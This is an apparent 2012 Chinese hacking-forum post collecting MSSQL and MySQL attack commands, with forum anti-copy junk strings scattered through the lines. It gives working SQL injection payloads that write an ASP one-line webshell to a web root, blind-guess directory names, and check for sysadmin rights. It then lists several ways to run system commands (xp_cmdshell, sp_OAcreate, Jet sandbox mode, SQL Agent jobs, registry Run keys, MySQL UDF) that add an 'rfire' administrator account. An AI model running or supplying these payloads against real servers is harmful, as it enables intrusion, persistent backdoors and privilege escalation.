找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2894|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
) X  c1 H, k' m0 Z首先确定网站的WEB路径% O/ m0 B3 ?: x3 q2 ~0 \; |0 o. _0 k
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
5 D, j/ O0 O! T! `% c7 w7 R8 p' n# c3 Q% o; u* j& Q
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
& g7 m, S$ I- M- C3 i" ?//将一句话木马插入表中. {8 `. L7 u0 T' q

, Y  T& x/ |' \# W;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
6 s9 I- R4 K, f//导出一个ASP文件
6 R$ ^0 t1 D5 r; J# w
9 `& E1 i% u% j% u1 w$ f
& R! a3 f- [1 J9 u" u3 f关于MSSQL列目录
' H; x- i. q) g  v" o# w) V: t, {;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
$ s( s* R$ _% T# o' cInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表% D( `3 w3 \/ e( \
# ~3 o1 D8 ?4 e
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
$ t  C1 r+ r$ S5 ^& d  M" R/ v# b! m1 ^8 \1 ?  D
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
1 p7 T# |/ p% k/ R+ A, M/ f: X; D% S% ~' G1 o, A1 W* E) ~" t* h
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
. o: Q: U& P5 C1 W  K+ W* t4 u. s+ H: N$ u8 `: L
6 a, Y2 S" n% w& h& @5 P- R
数据库版本和权限查看2 \  a1 N" e: y9 [( p- t
and 1=(select @@VERSION) //查看详细的数据库信息.1 O# [* C. w! D+ L7 x, s. g0 o/ a
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA) R" L8 K" @( ?/ ~
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER; C  v0 o" ?& \+ Q& @

/ ?5 z6 ~3 u& r( u
' b) u# |" A9 H) x5 `1.利用xp_cmdshell执行命令) c! y" ^! k% Y+ e6 j+ \4 E0 B$ ]" i
exec master..xp_cmdshell 'net user rfire 123456 /add'& T6 H. e# w( ~6 o+ n
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
- J6 q) J- |7 H3 X. k: q& o7 y5 o; l: V* y: q4 w
恢复xp_cmdshell存储过程
; P" a, J4 O* e- nExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll': S, G( O1 W" k- P" U

7 P1 e( D' h* }; F1 x! W
. x9 q, r$ w- ]2 m% X5 q, p3 j2.利用SP_OAcreate和SP_OAMETHOD执行命令
/ F3 V8 w; L6 x8 X在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
- |5 r9 h1 W/ C  I  y8 pDECLARE @shell INT //建立一个@shell实体
5 B& K9 P/ w5 o( A9 GEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例3 A" c* J  ~* z" x1 T& S
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
/ V6 n5 Z1 ]5 [- q6 |  \; b' J9 s% z6 W3 X+ p

7 w- B# h) ?6 q. p% _3.利用沙盒模式
$ A% t7 q& I7 ?5 U& T先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
7 X& D7 |3 s3 Q5 ~& u6 @开启沙盒模式:
! L. T' A: g0 B  I% sEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0! V. b0 ?" G, S. L
( k1 [" j" X) ?+ b& B! o
执行命令:, [& I% Z: g' |9 s; q
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
* ?6 C/ f& b& z; a$ R9 z+ i7 y& t
' Z9 u" d# {; t, C  ^' j- i6 f. [  z2 K+ C# N
4.利用SQL代理执行命令
+ o* p# _( }0 FEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务( B! h9 V- f6 q1 Z+ W% e* y, }2 B
" y, B* E2 o- T+ i2 ]
执行命令:. y* C6 k$ w; G. ~$ x1 z
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错2 c# |  O& }/ `6 ?+ W4 S
exec sp_add_job 'x'6 n9 O; k$ j' c" Q: c* q
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业% J5 p& r* k! u5 A1 x
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业6 e: j- M4 Q8 M$ G& b$ U) n+ l6 X
/ |6 Z% G# d5 G- Q
7 z% w2 b; r5 ?
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
1 x/ `* P( \1 ^, x8 QEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'+ j+ o9 Q* K' C& N! d' X( z1 {

9 a- I8 p2 ?3 @% u& R
* y; n% m& V$ q" F. D/ e; W2 h* S6.MYSQL的命令执行  ]  a2 r- C3 J/ K* s- E
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)/ i5 r* f6 [  M) n
首先要在su.php下导出c:\windows\udf.dll
: m8 w# L( O4 k导出后执行创建自定义函数命令:6 p" K# J& N! c
Create Function cmdshell returns string soname 'udf.dll'& N! D! r; I  N
执行命令% O5 h9 n) \6 f+ g6 B" C  P/ T
select cmdshell('net user rfire 123456 /add')
$ ?4 T7 L2 q2 g) C5 Y0 F7 M执行后删除函数 drop function cmdshell
- k2 ^6 J0 L3 w$ w7 d. a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表